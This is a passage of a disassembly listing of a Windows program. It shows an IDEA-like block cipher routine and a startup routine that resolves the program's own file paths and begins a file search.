movzx eax, [ebp+var_10]
cmp eax, 1
jnz short loc_5025FD
movzx eax, [ebp+var_C]
push 1
pop ecx
sub ecx, eax
and ecx, 0FFFFh
mov ax, cx
locret_50268F: ; CODE XREF: sub_50259C+16j
; sub_50259C+56j ...
leave
retn 4
sub_50259C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp+8]
mov [ebp-4], eax
and dword ptr [ebp-8], 0
jmp short loc_5026AF
; ---------------------------------------------------------------------------
loc_5026A8: ; CODE XREF: _5:005026D1j
mov eax, [ebp-8]
inc eax
mov [ebp-8], eax
loc_5026AF: ; CODE XREF: _5:005026A6j
mov eax, [ebp-8]
cmp eax, [ebp+0Ch]
jge short locret_5026D3
push dword ptr [ebp-0Ch]
push dword ptr [ebp-4]
push dword ptr [ebp-4]
mov ecx, [ebp-0Ch]
call sub_5026D7
mov eax, [ebp-4]
add eax, 8
mov [ebp-4], eax
jmp short loc_5026A8
; ---------------------------------------------------------------------------
locret_5026D3: ; CODE XREF: _5:005026B5j
leave
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5026D7 proc near ; CODE XREF: _5:005026C3p _5:00502D36p
var_48 = word ptr -48h
var_46 = word ptr -46h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_28 = word ptr -28h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1C = word ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = word ptr -10h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 48h
push ebx
mov [ebp+var_30], ecx
mov [ebp+var_4], 8
mov eax, [ebp+arg_0]
mov [ebp+var_18], eax
mov eax, [ebp+var_18]
mov ax, [eax]
mov [ebp+var_1C], ax
mov eax, [ebp+var_18]
inc eax
inc eax
mov [ebp+var_18], eax
mov eax, [ebp+var_18]
mov ax, [eax]
mov [ebp+var_20], ax
mov eax, [ebp+var_18]
inc eax
inc eax
mov [ebp+var_18], eax
mov eax, [ebp+var_18]
mov ax, [eax]
mov [ebp+var_28], ax
mov eax, [ebp+var_18]
inc eax
inc eax
mov [ebp+var_18], eax
mov eax, [ebp+var_18]
mov ax, [eax]
mov [ebp+var_2C], ax
movzx eax, [ebp+var_1C]
sar eax, 8
movzx ecx, [ebp+var_1C]
shl ecx, 8
or eax, ecx
mov [ebp+var_1C], ax
movzx eax, [ebp+var_20]
sar eax, 8
movzx ecx, [ebp+var_20]
shl ecx, 8
or eax, ecx
mov [ebp+var_20], ax
movzx eax, [ebp+var_28]
sar eax, 8
movzx ecx, [ebp+var_28]
shl ecx, 8
or eax, ecx
mov [ebp+var_28], ax
movzx eax, [ebp+var_2C]
sar eax, 8
movzx ecx, [ebp+var_2C]
shl ecx, 8
or eax, ecx
mov [ebp+var_2C], ax
loc_50277E: ; CODE XREF: sub_5026D7+41Ej
mov eax, [ebp+arg_8]
mov ax, [eax]
mov [ebp+var_10], ax
movzx eax, [ebp+var_10]
mov ecx, [ebp+arg_8]
inc ecx
inc ecx
mov [ebp+arg_8], ecx
test eax, eax
jz loc_50281D
movzx eax, [ebp+var_1C]
and eax, 0FFFFh
mov [ebp+var_1C], ax
movzx eax, [ebp+var_1C]
test eax, eax
jz short loc_5027FE
movzx eax, [ebp+var_1C]
movzx ecx, [ebp+var_10]
imul eax, ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov [ebp+var_1C], ax
mov eax, [ebp+var_24]
shr eax, 10h
mov [ebp+var_10], ax
movzx eax, [ebp+var_1C]
movzx ecx, [ebp+var_10]
sub eax, ecx
movzx ecx, [ebp+var_1C]
movzx edx, [ebp+var_10]
xor ebx, ebx
cmp ecx, edx
setl bl
add eax, ebx
mov [ebp+var_1C], ax
mov ax, [ebp+var_1C]
mov [ebp+var_32], ax
jmp short loc_502813
; ---------------------------------------------------------------------------
loc_5027FE: ; CODE XREF: sub_5026D7+D8j
movzx eax, [ebp+var_10]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_1C], cx
mov ax, [ebp+var_1C]
mov [ebp+var_32], ax
loc_502813: ; CODE XREF: sub_5026D7+125j
mov ax, [ebp+var_32]
mov [ebp+var_34], ax
jmp short loc_502832
; ---------------------------------------------------------------------------
loc_50281D: ; CODE XREF: sub_5026D7+BFj
movzx eax, [ebp+var_1C]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_1C], cx
mov ax, [ebp+var_1C]
mov [ebp+var_34], ax
loc_502832: ; CODE XREF: sub_5026D7+144j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_20]
add cx, [eax]
mov [ebp+var_20], cx
mov eax, [ebp+arg_8]
inc eax
inc eax
mov [ebp+arg_8], eax
mov eax, [ebp+arg_8]
mov cx, [ebp+var_28]
add cx, [eax]
mov [ebp+var_28], cx
mov eax, [ebp+arg_8]
inc eax
inc eax
mov [ebp+arg_8], eax
mov eax, [ebp+arg_8]
mov ax, [eax]
mov [ebp+var_10], ax
movzx eax, [ebp+var_10]
mov ecx, [ebp+arg_8]
inc ecx
inc ecx
mov [ebp+arg_8], ecx
test eax, eax
jz loc_5028FD
movzx eax, [ebp+var_2C]
and eax, 0FFFFh
mov [ebp+var_2C], ax
movzx eax, [ebp+var_2C]
test eax, eax
jz short loc_5028DE
movzx eax, [ebp+var_2C]
movzx ecx, [ebp+var_10]
imul eax, ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov [ebp+var_2C], ax
mov eax, [ebp+var_24]
shr eax, 10h
mov [ebp+var_10], ax
movzx eax, [ebp+var_2C]
movzx ecx, [ebp+var_10]
sub eax, ecx
movzx ecx, [ebp+var_2C]
movzx edx, [ebp+var_10]
xor ebx, ebx
cmp ecx, edx
setl bl
add eax, ebx
mov [ebp+var_2C], ax
mov ax, [ebp+var_2C]
mov [ebp+var_36], ax
jmp short loc_5028F3
; ---------------------------------------------------------------------------
loc_5028DE: ; CODE XREF: sub_5026D7+1B8j
movzx eax, [ebp+var_10]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_2C], cx
mov ax, [ebp+var_2C]
mov [ebp+var_36], ax
loc_5028F3: ; CODE XREF: sub_5026D7+205j
mov ax, [ebp+var_36]
mov [ebp+var_38], ax
jmp short loc_502912
; ---------------------------------------------------------------------------
loc_5028FD: ; CODE XREF: sub_5026D7+19Fj
movzx eax, [ebp+var_2C]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_2C], cx
mov ax, [ebp+var_2C]
mov [ebp+var_38], ax
loc_502912: ; CODE XREF: sub_5026D7+224j
mov ax, [ebp+var_28]
mov [ebp+var_14], ax
mov ax, [ebp+var_28]
xor ax, [ebp+var_1C]
mov [ebp+var_28], ax
mov eax, [ebp+arg_8]
mov ax, [eax]
mov [ebp+var_10], ax
movzx eax, [ebp+var_10]
mov ecx, [ebp+arg_8]
inc ecx
inc ecx
mov [ebp+arg_8], ecx
test eax, eax
jz loc_5029C5
movzx eax, [ebp+var_28]
and eax, 0FFFFh
mov [ebp+var_28], ax
movzx eax, [ebp+var_28]
test eax, eax
jz short loc_5029A6
movzx eax, [ebp+var_28]
movzx ecx, [ebp+var_10]
imul eax, ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov [ebp+var_28], ax
mov eax, [ebp+var_24]
shr eax, 10h
mov [ebp+var_10], ax
movzx eax, [ebp+var_28]
movzx ecx, [ebp+var_10]
sub eax, ecx
movzx ecx, [ebp+var_28]
movzx edx, [ebp+var_10]
xor ebx, ebx
cmp ecx, edx
setl bl
add eax, ebx
mov [ebp+var_28], ax
mov ax, [ebp+var_28]
mov [ebp+var_3A], ax
jmp short loc_5029BB
; ---------------------------------------------------------------------------
loc_5029A6: ; CODE XREF: sub_5026D7+280j
movzx eax, [ebp+var_10]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_28], cx
mov ax, [ebp+var_28]
mov [ebp+var_3A], ax
loc_5029BB: ; CODE XREF: sub_5026D7+2CDj
mov ax, [ebp+var_3A]
mov [ebp+var_3C], ax
jmp short loc_5029DA
; ---------------------------------------------------------------------------
loc_5029C5: ; CODE XREF: sub_5026D7+267j
movzx eax, [ebp+var_28]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_28], cx
mov ax, [ebp+var_28]
mov [ebp+var_3C], ax
loc_5029DA: ; CODE XREF: sub_5026D7+2ECj
mov ax, [ebp+var_20]
mov [ebp+var_C], ax
mov ax, [ebp+var_20]
xor ax, [ebp+var_2C]
mov [ebp+var_20], ax
mov ax, [ebp+var_20]
add ax, [ebp+var_28]
mov [ebp+var_20], ax
mov eax, [ebp+arg_8]
mov ax, [eax]
mov [ebp+var_10], ax
movzx eax, [ebp+var_10]
mov ecx, [ebp+arg_8]
inc ecx
inc ecx
mov [ebp+arg_8], ecx
test eax, eax
jz loc_502A99
movzx eax, [ebp+var_20]
and eax, 0FFFFh
mov [ebp+var_20], ax
movzx eax, [ebp+var_20]
test eax, eax
jz short loc_502A7A
movzx eax, [ebp+var_20]
movzx ecx, [ebp+var_10]
imul eax, ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov [ebp+var_20], ax
mov eax, [ebp+var_24]
shr eax, 10h
mov [ebp+var_10], ax
movzx eax, [ebp+var_20]
movzx ecx, [ebp+var_10]
sub eax, ecx
movzx ecx, [ebp+var_20]
movzx edx, [ebp+var_10]
xor ebx, ebx
cmp ecx, edx
setl bl
add eax, ebx
mov [ebp+var_20], ax
mov ax, [ebp+var_20]
mov [ebp+var_3E], ax
jmp short loc_502A8F
; ---------------------------------------------------------------------------
loc_502A7A: ; CODE XREF: sub_5026D7+354j
movzx eax, [ebp+var_10]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_20], cx
mov ax, [ebp+var_20]
mov [ebp+var_3E], ax
loc_502A8F: ; CODE XREF: sub_5026D7+3A1j
mov ax, [ebp+var_3E]
mov [ebp+var_40], ax
jmp short loc_502AAE
; ---------------------------------------------------------------------------
loc_502A99: ; CODE XREF: sub_5026D7+33Bj
movzx eax, [ebp+var_20]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_20], cx
mov ax, [ebp+var_20]
mov [ebp+var_40], ax
loc_502AAE: ; CODE XREF: sub_5026D7+3C0j
mov ax, [ebp+var_28]
add ax, [ebp+var_20]
mov [ebp+var_28], ax
mov ax, [ebp+var_1C]
xor ax, [ebp+var_20]
mov [ebp+var_1C], ax
mov ax, [ebp+var_2C]
xor ax, [ebp+var_28]
mov [ebp+var_2C], ax
mov ax, [ebp+var_20]
xor ax, [ebp+var_14]
mov [ebp+var_20], ax
mov ax, [ebp+var_28]
xor ax, [ebp+var_C]
mov [ebp+var_28], ax
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz loc_50277E
mov eax, [ebp+arg_8]
mov ax, [eax]
mov [ebp+var_10], ax
movzx eax, [ebp+var_10]
mov ecx, [ebp+arg_8]
inc ecx
inc ecx
mov [ebp+arg_8], ecx
test eax, eax
jz loc_502B9A
movzx eax, [ebp+var_1C]
and eax, 0FFFFh
mov [ebp+var_1C], ax
movzx eax, [ebp+var_1C]
test eax, eax
jz short loc_502B7B
movzx eax, [ebp+var_1C]
movzx ecx, [ebp+var_10]
imul eax, ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov [ebp+var_1C], ax
mov eax, [ebp+var_24]
shr eax, 10h
mov [ebp+var_10], ax
movzx eax, [ebp+var_1C]
movzx ecx, [ebp+var_10]
sub eax, ecx
movzx ecx, [ebp+var_1C]
movzx edx, [ebp+var_10]
xor ebx, ebx
cmp ecx, edx
setl bl
add eax, ebx
mov [ebp+var_1C], ax
mov ax, [ebp+var_1C]
mov [ebp+var_42], ax
jmp short loc_502B90
; ---------------------------------------------------------------------------
loc_502B7B: ; CODE XREF: sub_5026D7+455j
movzx eax, [ebp+var_10]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_1C], cx
mov ax, [ebp+var_1C]
mov [ebp+var_42], ax
loc_502B90: ; CODE XREF: sub_5026D7+4A2j
mov ax, [ebp+var_42]
mov [ebp+var_44], ax
jmp short loc_502BAF
; ---------------------------------------------------------------------------
loc_502B9A: ; CODE XREF: sub_5026D7+43Cj
movzx eax, [ebp+var_1C]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_1C], cx
mov ax, [ebp+var_1C]
mov [ebp+var_44], ax
loc_502BAF: ; CODE XREF: sub_5026D7+4C1j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_28]
add cx, [eax]
mov [ebp+var_28], cx
mov eax, [ebp+arg_8]
inc eax
inc eax
mov [ebp+arg_8], eax
mov eax, [ebp+arg_8]
mov cx, [ebp+var_20]
add cx, [eax]
mov [ebp+var_20], cx
mov eax, [ebp+arg_8]
inc eax
inc eax
mov [ebp+arg_8], eax
mov eax, [ebp+arg_8]
mov ax, [eax]
mov [ebp+var_10], ax
movzx eax, [ebp+var_10]
test eax, eax
jz loc_502C72
movzx eax, [ebp+var_2C]
and eax, 0FFFFh
mov [ebp+var_2C], ax
movzx eax, [ebp+var_2C]
test eax, eax
jz short loc_502C53
movzx eax, [ebp+var_2C]
movzx ecx, [ebp+var_10]
imul eax, ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov [ebp+var_2C], ax
mov eax, [ebp+var_24]
shr eax, 10h
mov [ebp+var_10], ax
movzx eax, [ebp+var_2C]
movzx ecx, [ebp+var_10]
sub eax, ecx
movzx ecx, [ebp+var_2C]
movzx edx, [ebp+var_10]
xor ebx, ebx
cmp ecx, edx
setl bl
add eax, ebx
mov [ebp+var_2C], ax
mov ax, [ebp+var_2C]
mov [ebp+var_46], ax
jmp short loc_502C68
; ---------------------------------------------------------------------------
loc_502C53: ; CODE XREF: sub_5026D7+52Dj
movzx eax, [ebp+var_10]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_2C], cx
mov ax, [ebp+var_2C]
mov [ebp+var_46], ax
loc_502C68: ; CODE XREF: sub_5026D7+57Aj
mov ax, [ebp+var_46]
mov [ebp+var_48], ax
jmp short loc_502C87
; ---------------------------------------------------------------------------
loc_502C72: ; CODE XREF: sub_5026D7+514j
movzx eax, [ebp+var_2C]
push 1
pop ecx
sub ecx, eax
mov [ebp+var_2C], cx
mov ax, [ebp+var_2C]
mov [ebp+var_48], ax
loc_502C87: ; CODE XREF: sub_5026D7+599j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
movzx eax, [ebp+var_1C]
sar eax, 8
movzx ecx, [ebp+var_1C]
shl ecx, 8
or eax, ecx
mov ecx, [ebp+var_8]
mov [ecx], ax
mov eax, [ebp+var_8]
inc eax
inc eax
mov [ebp+var_8], eax
movzx eax, [ebp+var_28]
sar eax, 8
movzx ecx, [ebp+var_28]
shl ecx, 8
or eax, ecx
mov ecx, [ebp+var_8]
mov [ecx], ax
mov eax, [ebp+var_8]
inc eax
inc eax
mov [ebp+var_8], eax
movzx eax, [ebp+var_20]
sar eax, 8
movzx ecx, [ebp+var_20]
shl ecx, 8
or eax, ecx
mov ecx, [ebp+var_8]
mov [ecx], ax
mov eax, [ebp+var_8]
inc eax
inc eax
mov [ebp+var_8], eax
movzx eax, [ebp+var_2C]
sar eax, 8
movzx ecx, [ebp+var_2C]
shl ecx, 8
or eax, ecx
mov ecx, [ebp+var_8]
mov [ecx], ax
pop ebx
leave
retn 0Ch
sub_5026D7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp+8]
mov [ebp-4], eax
and dword ptr [ebp-8], 0
jmp short loc_502D1E
; ---------------------------------------------------------------------------
loc_502D17: ; CODE XREF: _5:00502D44j
mov eax, [ebp-8]
inc eax
mov [ebp-8], eax
loc_502D1E: ; CODE XREF: _5:00502D15j
mov eax, [ebp-8]
cmp eax, [ebp+0Ch]
jge short locret_502D46
mov eax, [ebp-0Ch]
add eax, 68h
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-4]
mov ecx, [ebp-0Ch]
call sub_5026D7
mov eax, [ebp-4]
add eax, 8
mov [ebp-4], eax
jmp short loc_502D17
; ---------------------------------------------------------------------------
locret_502D46: ; CODE XREF: _5:00502D24j
leave
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_502D50 proc near ; CODE XREF: sub_50931F+1Ap
; sub_509A34+11p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov eax, ds:dword_5118F0
mov [ebp+var_4], eax
mov ecx, ds:dword_5118F4
imul ecx, 18h
mov edx, ds:dword_5118F0
add edx, ecx
mov [ebp+var_8], edx
jmp short loc_502D7F
; ---------------------------------------------------------------------------
loc_502D76: ; CODE XREF: sub_502D50:loc_502DB7j
mov eax, [ebp+var_4]
add eax, 18h
mov [ebp+var_4], eax
loc_502D7F: ; CODE XREF: sub_502D50+24j
mov ecx, [ebp+var_4]
cmp ecx, [ebp+var_8]
jz short loc_502DB9
mov ecx, 10h
mov edi, [ebp+arg_0]
mov esi, [ebp+var_4]
xor edx, edx
mov [ebp+var_C], edx
repe cmpsb
jz short loc_502DA3
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_C], eax
loc_502DA3: ; CODE XREF: sub_502D50+49j
mov ecx, [ebp+var_C]
mov [ebp+var_10], ecx
cmp [ebp+var_10], 0
jnz short loc_502DB7
mov edx, [ebp+var_4]
mov eax, [edx+10h]
jmp short loc_502DBB
; ---------------------------------------------------------------------------
loc_502DB7: ; CODE XREF: sub_502D50+5Dj
jmp short loc_502D76
; ---------------------------------------------------------------------------
loc_502DB9: ; CODE XREF: sub_502D50+35j
xor eax, eax
loc_502DBB: ; CODE XREF: sub_502D50+65j
pop edi
pop esi
mov esp, ebp
pop ebp
retn
sub_502D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_502DD0 proc near ; CODE XREF: sub_504DC0+Dp
var_1F8 = dword ptr -1F8h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_1EC = dword ptr -1ECh
var_1E8 = dword ptr -1E8h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1CC = dword ptr -1CCh
var_1C8 = dword ptr -1C8h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = dword ptr -1BCh
var_1B8 = dword ptr -1B8h
var_1B4 = dword ptr -1B4h
var_1B0 = dword ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = dword ptr -19Ch
var_170 = byte ptr -170h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005035F3 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E408
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFE18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
push offset dword_5118C8
call ds:dword_51174C ; InitializeCriticalSection
mov [ebp+var_1C], 0
mov [ebp+var_20], 0
mov [ebp+var_24], 0FFFFFFFFh
mov [ebp+var_4], 0
call sub_4FDE50
and eax, 0FFh
mov ds:dword_510B68, eax
push 400h
call sub_50835A
add esp, 4
mov [ebp+var_1AC], eax
mov eax, [ebp+var_1AC]
mov [ebp+var_1C], eax
push 0C1Ch
call sub_50835A
add esp, 4
mov [ebp+var_1B0], eax
mov ecx, [ebp+var_1B0]
mov [ebp+var_20], ecx
mov ecx, 307h
xor eax, eax
mov edi, [ebp+var_20]
rep stosd
push 400h
mov edx, [ebp+var_20]
add edx, 10h
push edx
push 0
call ds:dword_511718 ; GetModuleHandleA
push eax
call ds:dword_511714 ; GetModuleFileNameA
mov eax, [ebp+var_20]
add eax, 0C10h
push eax
mov ecx, [ebp+var_1C]
push ecx
push 400h
mov edx, [ebp+var_20]
add edx, 10h
push edx
call ds:dword_511708 ; GetFullPathNameA
push offset aGetlongpathnam ; "GetLongPathNameA"
push offset aKernel32_0 ; "kernel32"
call ds:dword_511718 ; GetModuleHandleA
push eax
call ds:dword_511728 ; GetProcAddress
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jz short loc_502EE2
push 400h
mov eax, [ebp+var_20]
add eax, 10h
push eax
mov ecx, [ebp+var_1C]
push ecx
call [ebp+var_2C]
jmp short loc_502F08
; ---------------------------------------------------------------------------
loc_502EE2: ; CODE XREF: sub_502DD0+FBj
mov edi, [ebp+var_1C]
mov edx, [ebp+var_20]
add edx, 10h
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_502F08: ; CODE XREF: sub_502DD0+110j
mov edi, [ebp+var_20]
add edi, 10h
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
push ecx
mov ecx, [ebp+var_20]
add ecx, 10h
push ecx
call ds:dword_5117C8 ; CharUpperBuffA
push 5Ch
mov edx, [ebp+var_20]
add edx, 10h
push edx
call sub_4FC700
add esp, 8
add eax, 1
mov ecx, [ebp+var_20]
mov [ecx+0C10h], eax
mov edx, [ebp+var_20]
add edx, 10h
mov eax, [ebp+var_20]
mov ecx, [eax+0C10h]
sub ecx, edx
mov edx, [ebp+var_20]
mov [edx+0C14h], ecx
push 400h
mov eax, [ebp+var_20]
add eax, 410h
push eax
mov ecx, [ebp+var_1C]
push ecx
call ds:dword_50E020 ; GetShortPathNameA
mov edi, [ebp+var_20]
add edi, 410h
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
push ecx
mov edx, [ebp+var_20]
add edx, 410h
push edx
call ds:dword_5117C8 ; CharUpperBuffA
push 5Ch
mov eax, [ebp+var_20]
add eax, 410h
push eax
call sub_4FC700
add esp, 8
add eax, 1
mov ecx, [ebp+var_20]
add ecx, 410h
sub eax, ecx
mov edx, [ebp+var_20]
mov [edx+0C18h], eax
mov edi, [ebp+var_20]
add edi, 10h
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov [ebp+var_30], ecx
mov eax, [ebp+var_30]
add eax, 1
push eax
call sub_50835A
add esp, 4
mov [ebp+var_1B4], eax
mov ecx, [ebp+var_1B4]
mov ds:dword_51190C, ecx
mov edx, [ebp+var_20]
add edx, 10h
mov edi, edx
mov edx, ds:dword_51190C
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ds:dword_511684
mov edx, [ecx+24h]
and edx, 2
neg edx
sbb edx, edx
neg edx
mov byte ptr [ebp+var_28], dl
mov eax, [ebp+var_28]
and eax, 0FFh
test eax, eax
jz loc_503101
mov ecx, ds:dword_511684
mov edx, [ecx+2Ch]
add edx, 30h
mov [ebp+var_3C], edx
mov edi, [ebp+var_3C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov [ebp+var_38], ecx
push 5Ch
mov eax, [ebp+var_20]
add eax, 10h
push eax
call sub_4FC700
add esp, 8
mov [ebp+var_34], eax
cmp [ebp+var_34], 0
jnz short loc_5030A4
mov edi, [ebp+var_20]
add edi, 10h
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov edx, [ebp+var_20]
lea eax, [edx+ecx+10h]
mov [ebp+var_34], eax
loc_5030A4: ; CODE XREF: sub_502DD0+2B6j
mov ecx, [ebp+var_20]
add ecx, 10h
mov edx, [ebp+var_34]
sub edx, ecx
add edx, [ebp+var_38]
cmp edx, 104h
jb short loc_5030C4
mov ecx, 0EF000004h
call sub_508342
loc_5030C4: ; CODE XREF: sub_502DD0+2E8j
mov ecx, [ebp+var_38]
add ecx, 1
mov esi, [ebp+var_3C]
mov edi, [ebp+var_34]
add edi, 1
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+var_20]
add edi, 10h
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
push ecx
mov ecx, [ebp+var_20]
add ecx, 10h
push ecx
call ds:dword_5117C8 ; CharUpperBuffA
loc_503101: ; CODE XREF: sub_502DD0+277j
mov edx, [ebp+var_20]
mov dword ptr [edx], 0
mov eax, [ebp+var_20]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_20]
mov ds:dword_511908, ecx
mov edx, ds:dword_511684
mov eax, [edx+24h]
and eax, 1
test eax, eax
jz short loc_503140
push 1
push 1
mov ecx, [ebp+var_20]
add ecx, 10h
push ecx
call sub_503610
add esp, 0Ch
loc_503140: ; CODE XREF: sub_502DD0+35Bj
push 105h
call sub_50835A
add esp, 4
mov [ebp+var_1B8], eax
mov edx, [ebp+var_1B8]
mov [ebp+var_44], edx
push 5Ch
mov eax, [ebp+var_20]
add eax, 10h
push eax
call sub_4FC700
add esp, 8
add eax, 1
mov [ebp+var_50], eax
mov [ebp+var_48], 0
mov ecx, ds:dword_511684
mov edx, [ecx+2Ch]
add edx, 71h
mov [ebp+var_4C], edx
mov edi, [ebp+var_4C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov eax, [ebp+var_4C]
add eax, ecx
mov [ebp+var_40], eax
mov ecx, [ebp+var_4C]
cmp ecx, [ebp+var_40]
jz loc_5033DB
mov [ebp+var_48], 1
mov edx, [ebp+var_4C]
mov [ebp+var_1A0], edx
jmp short loc_5031CD
; ---------------------------------------------------------------------------
loc_5031BE: ; CODE XREF: sub_502DD0:loc_5031F8j
mov eax, [ebp+var_1A0]
add eax, 1
mov [ebp+var_1A0], eax
loc_5031CD: ; CODE XREF: sub_502DD0+3ECj
mov ecx, [ebp+var_1A0]
cmp ecx, [ebp+var_40]
jz short loc_5031FA
mov edx, [ebp+var_1A0]
movsx eax, byte ptr [edx]
cmp eax, 3Bh
jnz short loc_5031F8
mov ecx, [ebp+var_1A0]
mov byte ptr [ecx], 0
mov edx, [ebp+var_48]
add edx, 1
mov [ebp+var_48], edx
loc_5031F8: ; CODE XREF: sub_502DD0+414j
jmp short loc_5031BE
; ---------------------------------------------------------------------------
loc_5031FA: ; CODE XREF: sub_502DD0+406j
mov eax, [ebp+var_20]
add eax, 810h
mov edi, eax
mov edx, [ebp+var_44]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea ecx, [ebp+var_54]
push ecx
mov edx, [ebp+var_44]
push edx
push 104h
mov eax, [ebp+var_1C]
push eax
call ds:dword_511708 ; GetFullPathNameA
mov edi, [ebp+var_44]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
push ecx
mov ecx, [ebp+var_44]
push ecx
call ds:dword_5117C8 ; CharUpperBuffA
mov edx, [ebp+var_4C]
mov [ebp+var_58], edx
mov [ebp+var_5C], 0
jmp short loc_50326D
; ---------------------------------------------------------------------------
loc_503264: ; CODE XREF: sub_502DD0+606j
mov eax, [ebp+var_5C]
add eax, 1
mov [ebp+var_5C], eax
loc_50326D: ; CODE XREF: sub_502DD0+492j
mov ecx, [ebp+var_5C]
cmp ecx, [ebp+var_48]
jnb loc_5033DB
mov edi, [ebp+var_58]
mov edx, [ebp+var_54]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea ecx, [ebp+var_19C]
push ecx
mov edx, [ebp+var_44]
push edx
call ds:dword_5116D0 ; FindFirstFileA
mov [ebp+var_1A4], eax
cmp [ebp+var_1A4], 0FFFFFFFFh
jz loc_5033B8
loc_5032C0: ; CODE XREF: sub_502DD0+5D5j
